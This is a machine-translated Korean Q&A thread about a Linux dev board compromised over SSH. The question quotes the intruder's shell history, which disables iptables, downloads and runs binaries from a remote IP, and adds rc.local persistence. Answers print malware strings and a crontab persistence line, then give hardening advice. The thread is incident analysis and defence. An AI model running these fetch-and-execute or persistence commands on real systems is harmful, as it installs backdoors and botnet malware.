방금 해킹 당 했나요?


492

소비자 제품을 개발 중이며 인터넷에 연결되어 있어야하므로 예상대로 인터넷에 연결되어 올바르게 개발할 수 있습니다.

나는 한두 시간 동안 떠났고, 사무실로 돌아 왔을 때 터미널에 쓰여진 이상한 명령을 발견했습니다.

리눅스 로그 파일을 보면 auth.log다음과 같은 줄을 볼 수 있습니다.

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

IP 주소 40.127.205.162Microsoft소유 한 것으로 판명되었습니다 .

내가없는 동안 사용 된 명령은 다음과 같습니다.

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  nohup /tmp/yjz1 > /dev/null 2>&1 &
  360  chmod 777 yjz1
  361  ./yjz1
  362  chmod 0755 /tmp/yjz1
  363  nohup /tmp/yjz1 > /dev/null 2>&1 &
  364  chmod 0777 yjz1
  365  chmod u+x yjz1
  366  ./yjz1 &
  367  chmod u+x yjz1
  368  ./yjz1 &
  369  wget http://222.186.30.209:65534/yjz
  370  chmod 0755 /tmp/yjz
  371  nohup /tmp/yjz > /dev/null 2>&1 &
  372  chmod 777 yjz
  373  ./yjz
  374  chmod 0755 /tmp/yjz
  375  nohup /tmp/yjz > /dev/null 2>&1 &
  376  chmod u+x yjz
  377  ./yjz &
  378  chmod u+x yjz
  379  ./yjz &
  380  cd /tmp
  381  echo "cd  /tmp/">>/etc/rc.local
  382  service iptables stop
  383  cd /tmp
  384  wget http://222.186.30.209:65534/yjz1
  385  chmod 0755 /tmp/yjz1
  386  nohup /tmp/yjz1 > /dev/null 2>&1 &
  387  chmod 777 yjz1
  388  ./yjz1
  389  chmod 0755 /tmp/yjz1
  390  nohup /tmp/yjz1 > /dev/null 2>&1 &
  391  chmod u+x yjz1
  392  ./yjz1 &
  393  chmod 0777 yjz1
  394  ./yjz1 &
  395  echo "cd  /tmp/">>/etc/rc.local
  396  service iptables stop
  397  wget http://222.186.30.209:65534/yjz1
  398  chmod 0755 /root/yjz1
  399  nohup /root/yjz1 > /dev/null 2>&1 &
  400  chmod 777 yjz1
  401  ./yjz1
  402  chmod 0755 /root/yjz1
  403  nohup /root/yjz1 > /dev/null 2>&1 &
  404  chmod u+x yjz1
  405  ./yjz1 &
  406  chmod 0777 yjz1
  407  ./yjz1 &
  408  echo "cd  /root/">>/etc/rc.local
  409  cd /tmp
  410  service iptables stop
  411  wget http://222.186.30.209:65534/yjz1
  412  chmod 0755 /tmp/yjz1
  413  nohup /tmp/yjz1 > /dev/null 2>&1 &
  414  chmod 777 yjz1
  415  ./yjz1 &
  416  cd /etc
  417  echo "cd /root/">>/etc/rc.local
  418  echo "./yjz1&">>/etc/rc.local
  419  echo "./yjz1&">>/etc/rc.local
  420  echo "/etc/init.d/iptables stop">>/etc/rc.local
  421  cd /tmp
  422  service iptables stop
  423  wget http://222.186.30.209:65534/yjz1
  424  chmod 0755 /tmp/yjz1
  425  nohup /tmp/yjz1 > /dev/null 2>&1 &
  426  chmod 777 yjz1
  427  ./yjz1 &
  428  cd /etc
  429  echo "cd /root/">>/etc/rc.local
  430  echo "./yjz1&">>/etc/rc.local
  431  echo "./yjz1&">>/etc/rc.local
  432  echo "/etc/init.d/iptables stop">>/etc/rc.local
  433  cd /tmp
  434  service iptables stop
  435  wget http://222.186.30.209:65534/yjz1
  436  chmod 0755 /tmp/yjz1
  437  nohup /tmp/yjz1 > /dev/null 2>&1 &
  438  chmod 777 yjz1
  439  ./yjz1 &
  440  cd /etc
  441  echo "cd /root/">>/etc/rc.local
  442  echo "./yjz1&">>/etc/rc.local
  443  echo "./yjz1&">>/etc/rc.local
  444  echo "/etc/init.d/iptables stop">>/etc/rc.local
  445  service iptables stop
  446  wget http://222.186.30.209:65534/yjz1
  447  chmod 0755 /root/yjz1
  448  nohup /root/yjz1 > /dev/null 2>&1 &
  449  chmod 777 yjz1
  450  ./yjz1
  451  chmod 0755 /root/yjz1
  452  nohup /root/yjz1 > /dev/null 2>&1 &
  453  chmod 0777 yjz1
  454  chmod u+x yjz1
  455  ./yjz1 &
  456  chmod u+x yjz1
  457  ./yjz1 &

그리고 더:

  481  service iptables stop
  482  wget http://222.186.30.209:65534/yjz1
  483  chmod 0755 /root/yjz1
  484  nohup /root/yjz1 > /dev/null 2>&1 &
  485  chmod 777 yjz1
  486  ./yjz1
  487  chmod 0755 /root/yjz1
  488  nohup /root/yjz1 > /dev/null 2>&1 &
  489  chmod 0777 yjz1
  490  chmod u+x yjz1
  491  ./yjz1 &
  492  chmod u+x yjz1
  493  ./yjz1 &
  494  cd /tmp
  495  service iptables stop
  496  wget http://175.102.133.55:2/yjz
  497  ./yd_cd/make
  498  service iptables stop
  499  service iptables stop
  500  wget http://222.186.30.209:65534/yjz1

나는 이것을 완전히 몰랐다. 제품을 올바르게 보호하려면 어떻게해야합니까?

완전한 auth.log파일 을 게시하고 싶습니다 . 어떻게합니까?

또한 yjz1다운로드 된 파일 은 Linux 트로이 목마 인 것으로 보이며 http://anti-hacker-alliance.com/index.php?ip=40.127.205.162 에 따르면 일종의 해커 그룹에서 수행 한 것으로 보입니다.

Microsoft에 전화해서 이야기해야합니까? 어떻게해야합니까?


40
그래, 너무 좋아 보이지 않아. 나는 어떤 방법 으로든 리눅스 전문가가 아니지만 거기에서 무언가를 실행하려고 시도했습니다. 루트로 로그인을 시도했지만 실패한 것처럼 보이지만 확실하지 않습니다. auth.log에 다른 로그가 있습니까? 다른 원격 관리 수단이 있습니까? SSH 시도처럼 보이지만 VNC 서버가 활성화 된 Mac의 경우 해킹당하는 것을 보았습니다. 다운로드 한 IP가 중국 어딘가에 호스팅되어있는 것 같습니다.
Jonno

68
당신은 무차별 강요당했습니다. 이것이 암호가 있어도 인터넷에 ssh 서버를 두지 않는 이유입니다. 키 기반 인증이 부족한 것은 요즘 충분히 안전하지 않습니다.
Journeyman Geek

80
우리는 security.stackexchange.com 을 가지고 있습니다 . 그러나 가장 먼저 : 손상된 호스트는 더 이상 신뢰할 수 없습니다. 네트워크에서 분리하십시오. 가능하면 백업을 수행하여 수행 한 작업과 수행 방법을 조사 할 수 있습니다. 그런 다음 깨끗한 소스에서 OS를 다시 설치하십시오. 백업에서 데이터를 복원하십시오. 다시 감염되지 않도록 시스템을 보호 하십시오. 그들이 어떻게 들어 왔는지 알아내는 것이 좋습니다. (따라서 감염된 시스템의 복사본을 만드는 것이 좋습니다).
Hennes

84
참고 : 40.127.205.162는 GeoIP에 따른 Microsoft Azure IP 주소입니다. 결과적으로 공격에 대해 Microsoft를 비난 할 수 없습니다. 누군가 EC2를 스팸으로 사용했기 때문에 Amazon을 비난하는 것과 같습니다. Microsoft가 실제로 할 수있는 유일한 일은 공격자를 Azure에서 쫓아내는 것입니다. 그러나 그들은 곧 다른 클라우드 플랫폼으로 돌아올 것입니다.
nneonneo 2019

41
사실, 이것이 당신의 터미널에 쓰여졌다면, 해커는 아마도 다음 칸막이에 앉아있을 것입니다.
isanae

답변:


487

편집 2 :

이 게시물이 많은 관심을 끄는 데에는 한 가지 이유가 있습니다. 침입자의 전체 실시간 세션을 PC에 기록했습니다. 이것은 우리가 일상적인 경험과는 매우 다릅니다. 여기서 우리는 그의 행동의 결과에 대한 발견을 다루고 그것을 시정하려고합니다. 여기서 우리는 그를 직장에서 보았고, 백도어를 세우는 데 어려움을 겪고, 발걸음을 되찾고, 열을 내며 일을했습니다. 자신의 맬웨어를 시스템에서 실행할 수없고 아래를 읽고) 완전히 독립적 인 제어 도구를 배포하려고 시도하십시오. 이것은 보안 연구원이 허니 트랩으로 매일 목격하는 것입니다 . 나에게 이것은 매우 드문 기회이자 즐거움의 원천입니다.


당신은 확실히 해킹되었습니다. 이에 대한 증거는 사용자가 표시 한 파일 의 스 니펫에서 나오지 않습니다.auth.log 로그인 시도가 짧은 시간 (2 초) 동안 실패했음을보고하기 때문입니다. 두 번째 줄은 Failed password을 나타내고, 세 번째 줄 은 pre-auth연결 끊기를 보고합니다 .

증거는 대신 두 파일의 내용 http://222.186.30.209:65534/yjzhttp://222.186.30.209:65534/yjz1공격자가 시스템에 다운로드 한 내용에서 나옵니다 .

이 사이트는 현재 누구나 다운로드 할 수 있습니다. 나는 처음 file에 그들에게 달렸다 .

$ file y*
yjz:      ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
yjz1:     ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

그런 다음 64 비트 데비안 VM으로 가져 왔습니다. strings명령을 통해 내용을 조사한 결과 의심스러운 내용이 많이 드러났습니다 (다양한 잘 알려진 공격, 대체 할 명령, 새 서비스를 설정하는 데 사용 된 스크립트 등 참조).

그런 다음 두 파일의 MD5 해시를 생성하고 Cymru의 해시 데이터베이스에 제공하여 이들이 알려진 맬웨어의 에이전트인지 확인했습니다. 하지만 yjz아니다 yjz1, 그리고 캄리는 58 %의 안티 바이러스 소프트웨어에 의해 탐지의 가능성을보고합니다. 또한이 파일은 약 3 일 전에 마지막으로 본 것이기 때문에 최신 파일입니다.

내가 얻은 두 파일에서 clamscan ( clamav패키지의 일부)을 실행 하십시오 .

$ clamscan y*
yjz: Linux.Backdoor.Gates FOUND
yjz1: Linux.Trojan.Xorddos FOUND

따라서 표준 Linux 소프트웨어가이를 식별 할 수 있습니다.

어떻게해야합니까?

다소 새로운 시스템은 아니지만 새로운 시스템은 아니지만 XorDdos 에 대한 2015 년 1 월 기사를 참조하십시오 . 따라서 대부분의 무료 패키지는 제거 할 수 있어야합니다. : 당신은 시도해야한다 clamav, rkhunter, chkrootkit. 나는 구글을 둘러보고 그들이 그것을 발견 할 수 있다고 주장하는 것을 보았다. 그것들을 사용하여 선행 작업을 확인하십시오. 그러나이 세 가지 프로그램을 실행 한 후에는 준비가되어 있어야합니다.

더 큰 질문에 대해서는 what should you do to prevent future infectionsJourneyman의 답변이 좋은 첫 단계입니다. 그것은 우리를 포함한 모든 사람들이 그것을 모르고도 잃어 버렸을 수도있는 지속적인 투쟁이라는 것을 명심하십시오.

편집 :

Viktor Toth의 (간접) 프롬프트에서 몇 가지 의견을 추가하고 싶습니다. 침입자가 몇 가지 어려움을 겪은 것은 분명합니다. 그는 두 가지 고유 한 해킹 도구를 다운로드하고, 권한을 여러 번 변경하고, 여러 번 다시 시작한 후, 방화벽을 비활성화하기 위해 여러 번 시도합니다. 무슨 일이 일어나고 있는지 쉽게 추측 할 수 있습니다. 그는 해킹 도구가 감염된 PC 중 하나를 향한 통신 채널을 열 것으로 예상하고 (나중에 참조)이 새로운 채널이 자신의 제어 GUI에 나타나지 않으면 해킹을 두려워합니다. 도구가 방화벽에 의해 차단되고 있으므로 설치 절차를 반복합니다. Viktor Toth에 동의합니다.이 작업의 특정 단계가 예상되는 결과를 가져 오는 것 같지는 않지만 매우 강력하게 격려하고 싶습니다. PC에 미치는 피해 정도를 과소 평가해서는 안됩니다.

여기에 다음과 같은 부분 출력이 제공됩니다 strings yjz1.

etc/init.d/%s
/etc/rc%d.d/S90%s
--del
chkconfig
remove
update-rc.d
/etc/cron.hourly/gcc4.sh
/etc/rc.d/rc%d.d/S90%s
--add
defaults
/proc/%d/exe
/proc/self/exe
HOME=/
MYSQL_HISTFILE=/dev/null
#!/bin/sh
# chkconfig: 12345 90 90
# description: %s
### BEGIN INIT INFO
# Provides:             %s
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    %s
### END INIT INFO
case $1 in
start)
stop)
esac
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
etc/init.d/%s
GET %s HTTP/1.1
%sHost: %s
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;      TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive

이 서비스는 ( /etc/init.d및 내부 /etc/rc.d) 서비스 crontab내역과의 기록 파일 mysqlproc링크 된 파일 몇 개 bash(사용자 정의 제작 된 사기성 버전의 쉘이 설치되었음을 나타냄)를 제공합니다. 그런 다음 프로그램은 중국어를 사용하는 사이트에 대한 HTTP 요청을 생성합니다.

 Accept-Language: zh-cn

위의 David Schwartz의 의견에 실질적인 영향을 미침). 요청에서 바이너리 ( Content-Type: application/x-www-form-urlencoded)는 공격 된 PC (GET)로 다운로드되어 제어 시스템 (POST)에 업로드됩니다. 나는 공격을 PC에 다운로드 될 수 있지만, 모두의 작은 크기 주어진 것을 설정할 수 없습니다 yjzyjz1, (repectively 1.1MB 및 600KB), 내가 필요한 대부분의 파일이 루트킷을 은폐하는 것을 추측 벤처 수 있습니다 변경된 버전 ls,은 netstat, ps, ifconfig, ..., 이런 식으로 다운로드 할 수있다. 그리고 이것은이 다운로드를 시도하려는 공격자의 열렬한 시도를 설명합니다.

위의 내용이 모든 가능성을 소진한다는 것은 확실하지 않습니다. 우리는 확실히 사본의 일부가 부족하고 (457과 481 사이) 로그 아웃을 볼 수 없습니다. 더욱이, 특히 걱정스러운 것은 495-497 행입니다.

cd /tmp;  ./yd_cd/make

이 파일은 다운로드되지 않은 파일을 참조 하며 컴파일 된 파일 일 수 있습니다. 그렇다면 공격자가 실행 파일의 문제점을 이해하고 (고전적으로) 수정하려고한다는 의미입니다. 공격받은 PC는 잘 갔다. [사실, 공격자가 해킹 된 컴퓨터 (및 64 비트 데비안 VM으로 다운로드 한)에 다운로드 한 두 가지 버전의 맬웨어는 부적절한 아키텍처 x86 용이며, 해킹 된 PC의 이름만으로도 그는 팔 아키텍처를 다루고 있었다].

이 편집을 작성한 이유는 시스템을 전문적인 장비와 결합하거나 처음부터 다시 설치하도록 가능한 한 강력하게 권장하기 때문입니다.

그건 그렇고, 이것이 누구에게나 유용하다고 입증되면, 이것은 연결 을 시도 하는 331 개의 IP 주소 목록입니다 yjz. 이 목록은 너무 커서 (아마도 더 커질 것으로 예상 됨) 이것이 훼손된 이유라고 생각합니다 mysql. 다른 백도어가 제공하는 목록은 동일합니다. 필자는 이러한 중요한 정보를 공개 상태로 두어야하는 이유라고 생각 합니다. 그는 전체 목록을 일반 텍스트 파일에 넣었습니다.이 파일은 모든 백도어에서 읽을 수 있습니다.

61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
202.175.3.8
202.112.144.30
61.233.9.9
61.233.9.61
124.207.160.110
202.97.7.6
202.97.7.17
202.106.0.20
202.106.46.151
202.106.195.68
202.106.196.115
202.106.196.212
202.106.196.228
202.106.196.230
202.106.196.232
202.106.196.237
202.112.112.10
211.136.17.107
211.136.28.231
211.136.28.234
211.136.28.237
211.147.6.3
219.141.136.10
219.141.140.10
219.141.148.37
219.141.148.39
219.239.26.42
221.130.32.100
221.130.32.103
221.130.32.106
221.130.32.109
221.130.33.52
221.130.33.60
221.176.3.70
221.176.3.73
221.176.3.76
221.176.3.79
221.176.3.83
221.176.3.85
221.176.4.6
221.176.4.9
221.176.4.12
221.176.4.15
221.176.4.18
221.176.4.21
58.22.96.66
218.104.128.106
202.101.98.55
211.138.145.194
211.138.151.161
211.138.156.66
218.85.152.99
218.85.157.99
222.47.29.93
202.101.107.85
119.233.255.228
222.47.62.142
122.72.33.240
211.98.121.27
218.203.160.194
221.7.34.10
61.235.70.98
113.111.211.22
202.96.128.68
202.96.128.86
202.96.128.166
210.21.3.140
210.21.4.130
211.95.193.97
211.98.2.4
211.98.4.1
211.162.61.225
211.162.61.235
211.162.61.255
211.162.62.1
211.162.62.60
221.4.66.66
202.103.176.22
202.96.144.47
210.38.192.33
202.96.134.33
202.96.134.133
202.96.154.15
210.21.196.6
221.5.88.88
202.103.243.112
202.193.64.33
61.235.164.13
61.235.164.18
202.103.225.68
221.7.136.68
202.103.224.68
211.97.64.129
211.138.240.100
211.138.242.18
211.138.245.180
221.7.128.68
222.52.118.162
202.98.192.67
202.98.198.167
211.92.136.81
211.139.1.3
211.139.2.18
202.100.192.68
211.97.96.65
211.138.164.6
221.11.132.2
202.100.199.8
202.99.160.68
202.99.166.4
202.99.168.8
222.222.222.222
202.102.224.68
202.102.227.68
222.85.85.85
222.88.88.88
210.42.241.1
202.196.64.1
112.100.100.100
202.97.224.68
219.235.127.1
61.236.93.33
211.93.24.129
211.137.241.34
219.147.198.230
202.103.0.68
202.103.0.117
202.103.24.68
202.103.44.150
202.114.0.242
202.114.240.6
211.161.158.11
211.161.159.3
218.104.111.114
218.104.111.122
218.106.127.114
218.106.127.122
221.232.129.30
59.51.78.210
61.234.254.5
202.103.96.112
219.72.225.253
222.243.129.81
222.246.129.80
211.142.210.98
211.142.210.100
220.168.208.3
220.168.208.6
220.170.64.68
218.76.192.100
61.187.98.3
61.187.98.6
202.98.0.68
211.93.64.129
211.141.16.99
202.98.5.68
219.149.194.55
211.138.200.69
202.102.3.141
202.102.3.144
58.240.57.33
112.4.0.55
114.114.114.114
114.114.115.115
202.102.24.34
218.2.135.1
221.6.4.66
221.131.143.69
202.102.8.141
222.45.0.110
61.177.7.1
218.104.32.106
211.103.13.101
221.228.255.1
61.147.37.1
222.45.1.40
58.241.208.46
202.102.9.141
202.102.7.90
202.101.224.68
202.101.226.68
211.141.90.68
211.137.32.178
202.96.69.38
211.140.197.58
219.149.6.99
202.96.86.18
101.47.189.10
101.47.189.18
118.29.249.50
118.29.249.54
202.96.64.68
202.96.75.68
202.118.1.29
202.118.1.53
219.148.204.66
202.99.224.8
202.99.224.67
211.90.72.65
211.138.91.1
218.203.101.3
202.100.96.68
211.93.0.81
222.75.152.129
211.138.75.123
202.102.154.3
202.102.152.3
219.146.1.66
219.147.1.66
202.102.128.68
202.102.134.68
211.138.106.19
211.90.80.65
202.99.192.66
202.99.192.68
61.134.1.4
202.117.96.5
202.117.96.10
218.30.19.40
218.30.19.50
116.228.111.118
180.168.255.18
202.96.209.5
202.96.209.133
202.101.6.2
211.95.1.97
211.95.72.1
211.136.112.50
211.136.150.66
119.6.6.6
124.161.97.234
124.161.97.238
124.161.97.242
61.139.2.69
202.98.96.68
202.115.32.36
202.115.32.39
218.6.200.139
218.89.0.124
61.139.54.66
61.139.39.73
139.175.10.20
139.175.55.244
139.175.150.20
139.175.252.16
168.95.1.1
210.200.211.193
210.200.211.225
211.78.130.1
61.31.1.1
61.31.233.1
168.95.192.1
168.95.192.174
61.60.224.3
61.60.224.5
202.113.16.10
202.113.16.11
202.99.96.68
202.99.104.68
211.137.160.5
211.137.160.185
219.150.32.132
202.98.224.68
211.139.73.34
61.10.0.130
61.10.1.130
202.14.67.4
202.14.67.14
202.45.84.58
202.45.84.67
202.60.252.8
202.85.128.32
203.80.96.9
203.142.100.18
203.142.100.21
203.186.94.20
203.186.94.241
221.7.1.20
61.128.114.133
61.128.114.166
218.202.152.130
61.166.150.123
202.203.128.33
211.98.72.7
211.139.29.68
211.139.29.150
211.139.29.170
221.3.131.11
222.172.200.68
61.166.150.101
61.166.150.139
202.203.144.33
202.203.160.33
202.203.192.33
202.203.208.33
202.203.224.33
211.92.144.161
222.221.5.240
61.166.25.129
202.96.103.36
221.12.1.227
221.130.252.200
222.46.120.5
202.96.96.68
218.108.248.219
218.108.248.245
61.130.254.34
60.191.244.5
202.96.104.15
202.96.104.26
221.12.33.227
202.96.107.27
61.128.128.68
61.128.192.68
218.201.17.2
221.5.203.86
221.5.203.90
221.5.203.98
221.7.92.86
221.7.92.98

다음 코드

 #!/bin/bash
 echo 0 > out
 while read i; do
       whois $i | grep -m 1 -i country >> out
 done < filename
 cat out | grep -i cn | wc -l

위 목록 의 전체 331 개 주소 중 302 개 주소는 중국 대륙에 있고 나머지 주소는 홍콩, 몽골, 대만에 있습니다. 이것은 David Schwartz의 주장이 중국 봇 링이라는 주장에 대한 추가 지원을 추가합니다.

편집 3

@vaid의 요청 (OP의 저자는 아래에서 그의 의견을 읽으십시오)에서 기본 Linux 시스템의 보안을 강화하는 방법에 대한 의견을 추가 할 것입니다 (많은 서비스를 제공하는 시스템의 경우 훨씬 복잡한 주제입니다). vaid그는 다음과 같이 말했습니다.

  1. 시스템을 다시 설치하십시오

  2. 루트 암호를 소문자와 대문자, 문자 및 숫자가 혼합 된 16 자 길이의 암호로 변경했습니다.

  3. 사용자 이름을 6 자로 된 긴 사용자 이름으로 변경하고 루트에 사용 된 것과 동일한 비밀번호를 적용했습니다.

  4. SSH 포트를 5000 이상으로 변경

  5. SSH 루트 로그인을 해제했습니다.

이것은 많은 유용한 프로그램이 10,000 미만의 포트를 사용하기 때문에 10,000 이상의 포트를 사용하는 것을 제외하고는 좋습니다. 그러나 암호 대신 ssh login에 암호 키를 사용해야한다는 것을 강조 할 수는 없습니다 . 나는 당신에게 개인적인 모범을 보여줄 것입니다. 내 VPS 중 하나에서 ssh 포트를 변경할지 여부가 확실하지 않았습니다. 22시에 그대로 두었지만 인증에는 암호화 키를 사용했습니다. 나는 하루수백 번의 침입 시도를 했지만 성공하지 못했습니다. 아무도 성공하지 못했다는 것을 매일 확인하기 위해 피곤했을 때, 결국 포트를 10,000 이상으로 바꾸었고 침입 시도는 0이되었습니다. 해커들이 멍청한 것은 아닙니다 (그렇지 않습니다!), 그들은 더 쉬운 먹이를 사냥합니다.

서명 알고리즘으로 RSA를 사용하여 암호화 키를 쉽게 활성화 할 수 있습니다. Jan Hudec의 아래 주석을 참조하십시오 (감사합니다).

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *

이제 파일 id_rsa을 당신이 연결하고자하는 기계 (디렉토리 .ssh에서 chmod'700'으로 )에 복사 한 다음, 명령을 발행하기 만하면됩니다.

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine

이것이 작동한다고 확신하면 서버 (= 연결하려는 기계)에서 파일 /etc/ssh/sshd_config을 편집하고 행을 변경하십시오.

#PasswordAuthentication yes

PasswordAuthentication no

ssh서비스를 다시 시작하십시오 ( service ssh restart또는 systemctl restart ssh배포판에 따라 이와 비슷한 것).

이것은 많이 견딜 것입니다. 실제로 현재 openssh v2와의 RSA 버전에 대해 알려진 악용 사례는 없습니다 openssh v2.

마지막으로 컴퓨터를 실제로 볼트로 연결하려면 다음과 같이 방화벽 (netfilter / iptables)을 구성해야합니다.

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT
 iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
 iptables -P INPUT DROP
 iptables -P OUTPUT ACCEPT
 iptables -A INPUT -i lo -j ACCEPT
 iptables -A OUTPUT -o lo -j ACCEPT

이것은 1) LAN과 WAN 모두에서 ssh 연결을 허용하고, 2) 요청에 의해 발생 된 모든 입력을 허용합니다 (예 : 웹 페이지를로드 할 때) 출력, 5-6)은 루프백 인터페이스의 모든 것을 허용합니다.

요구 사항이 증가하고 더 많은 포트를 열어야하는 경우 목록 맨 위에 다음과 같은 규칙을 추가하면됩니다.

 iptables -A INPUT -p tcp --dport 80 -j ACCEPT

예를 들어 사람들이 웹 브라우저에 액세스 할 수 있도록합니다.


11
이것은 읽기 좋았습니다. 나는 또한 yjz1Googles VirusTotal.com 을 통해 파일 을 시험해 보았습니다 . 나는 yjz그것이 다운로드 된 것을 보지 못했습니다 . 감사.
vaid

34
strings신뢰할 수없는 데이터를 조심스럽게 실행하십시오 . lcamtuf.blogspot.com/2014/10/…
Matt Nordhoff

5
@MattNordhoff 이것을 지적 해 주셔서 감사합니다, 나는 그것을 행복하게 인식하지 못했습니다. 그러나 내 데비안에서는 'strings'명령이 비행 색상과 연결된 테스트를 통과합니다. 나는 이것이 수동 상태 인 사실 때문이라고 가정합니다 : -a ... 일반적으로 이것이 기본 동작 입니다. 건배.
MariusMatutiae

32
이 답변은 패러다임이되어야하는 접근 방식을 보여줍니다. 1. 실패한 시도로주의를 분산시키지 말고 경고하십시오. 2. 공격자의 성공적인 행동을 개별화하십시오. 3. 침입자가 무엇을 어떻게했는지 연구하십시오. 4. 찾은 추가 보호 (포인트 3)를 추가하여 처음부터 또는 손상되지 않은 (공격 된) 백업에서 모두 설치하십시오. 5. 다른 사람들이 자신을 보호 할 수 있도록 도와줍니다 (손상된 IP 목록).
Hastur

11
[@MariusMatutiae의 의견 수렴 후 수정]-그럼에도 불구하고 OP는 손상된 시스템에서 모든 실행 파일이 악의적 인 것으로 간주되어야하며, 셸 ls, who또는 기타 다른 것으로 간주 되어야 함을 인식 해야합니다 . 손상된 시스템 (예 : scp또는 rsync) 에서 실행 파일을 사용하여 "데이터 복구"는 더 많은 시스템을 손상시킬 수 있습니다.
Dubu

142

인터넷에 오신 것을 환영합니다. 개방형 SSH 서버가 검색되고, 무차별 적이며, 여러 가지 무례한 영향을 미칠 수 있습니다.

시작하려면 제품의 스토리지를 완전히 닦아야합니다. 법의학을 위해 전달하고 싶다면 Linux 이미지를 설치하십시오.

약간의 추측이지만

  1. 무차별 적이 거나 일반 암호를 사용했습니다. 모호한 보안이지만 사전 암호를 원하지 않거나 SSH에 열려있는 루트 계정을 사용 하지 않습니다 . 옵션 인 경우 루트 SSH 액세스를 비활성화하거나 이름을 변경하여 둘 다 추측해야합니다. 루트로서 SSHing하는 것은 어쨌든 끔찍한 보안 관행입니다. root를 사용해야하는 경우 다른 사용자로 로그인하고 su 또는 sudo를 사용하여 전환하십시오.

  2. 제품에 따라 어떤 방식 으로든 SSH 액세스를 잠글 수 있습니다. 전체 잠금은 좋은 생각처럼 들리므로 사용자가 필요에 따라 열 수 있습니다 . 어떤 리소스를 절약 할 수 있는지에 따라 자신의 서브넷 또는 어떤 종류의 로그인 조절 시스템에서 IP 주소 만 허용하는 것이 좋습니다. 최종 제품에 필요하지 않은 경우 전원이 꺼져 있는지 확인하십시오.

  3. 비표준 포트를 사용하십시오. 다시 모호한 보안이지만 공격자는 포트를 대상으로해야합니다.

  4. 기본 비밀번호를 사용하지 마십시오. 내가 본 가장 좋은 방법은 특정 장치의 암호를 임의로 생성하여 제품과 함께 제공하는 것입니다. 모범 사례는 키 기반 인증이지만 대량 시장 제품에서 어떻게 접근할지는 모르겠습니다.


76
5. 가능하면 공개 키 인증을 사용하십시오. 암호 인증은 훨씬 안전하지 않습니다.
Bob

4
예, 그러나 소비자 기기라면 옵션이 아닐 수 있습니다. dev 상자에서, 그것은 훌륭한 아이디어처럼 들립니다. 서버에서 글쎄, 나는 전에 해킹 당했다; p
Journeyman Geek

2
그것이 소비자 장치라면 그들 모두의 동일한 임의의 암호 또는 키도 나쁜 생각입니다. 일련 번호, MAC 또는 식별 가능한 정보를 기반으로하는 모든 것이 있습니다. (많은 SoHO 모뎀 / 라우터 / WAP가 놓친 것 같다).
Hennes

2
소비자 장치입니다. 그러나 대상 소비자의 대다수는 SSH가 무엇인지 알 정도로 교육을받지 못합니다. 따라서 SSH를 끄고 끌 수 있습니다.
vaid

2
또한 fail2ban을 사용하십시오 .
Shadur

34

오, 당신은 확실히 해킹되었습니다. 누군가가 루트 자격 증명을 획득하여 시스템에 트로이 목마를 다운로드하려고 시도한 것 같습니다. MariusMatutiae는 페이로드 분석을 제공했습니다.

두 가지 질문이 발생합니다. a) 공격자가 성공 했습니까? 그리고 b) 당신은 그것에 대해 무엇을 할 수 있습니까?

첫 번째 질문에 대한 답 은 '아니요' 일 수 있습니다. 공격자가 성공하지 않고 페이로드를 반복적으로 다운로드하여 실행하는 방법에 주목하십시오. 나는 무언가 (SELinux, perchance?)가 그의 방식으로 서 있다고 의심합니다.

그러나 공격자는 /etc/rc.d/rc.local시스템을 다시 시작할 때 페이로드가 활성화되기를 희망 하여 파일을 변경했습니다 . 아직 시스템을 다시 시작하지 않은 경우에서 변경 사항을 제거 할 때까지 다시 시작하지 마십시오 /etc/rc.d/rc.local. 이미 다시 시작한 경우 ... 음, 힘든 행운.

수행 할 수있는 작업 : 가장 안전한 방법은 시스템을 닦고 처음부터 다시 설치하는 것입니다. 그러나 이것이 항상 옵션은 아닙니다. 훨씬 덜 안전해야 할 일은 발생한 일을 정확하게 분석하고 가능하면 모든 흔적을 지우는 것입니다. 다시 말하지만, 아직 시스템을 다시 시작하지 않았다면, 아마도 깨끗하고 /etc/rc.d/rc.local, 공격자가 다운로드 한 것을 제거 하고 , 마지막으로 darn 암호를 변경하십시오.

그러나 공격자가 이미 페이로드를 실행할 수있는 경우 탐지하기 어려운 시스템 수정이있을 수 있습니다. 완전한 와이프가 실제로 유일한 안전하고 권장되는 옵션 인 이유입니다. 표시된 바와 같이, 문제의 장비는 테스트 / 개발 대상이 될 수 있으므로 다른 경우와 같이 고통스럽지 않을 수도 있습니다.

업데이트 : 가능한 복구에 대해 쓴 내용에도 불구하고 MariusMatutiae의 강력한 권장 사항 을 반영 하여이 페이로드로 인한 잠재적 손상과 대상 시스템을 손상시킬 수있는 정도를 과소 평가하지 않기를 바랍니다 .


2
감사. 시스템을 닦기로 결정했습니다. 몇 번 다시 시작했지만 필수 데이터를 복사하기 만했습니다. 바이너리가없고 소스 코드 만 있습니다. 지금은 안전하다고 생각합니다.
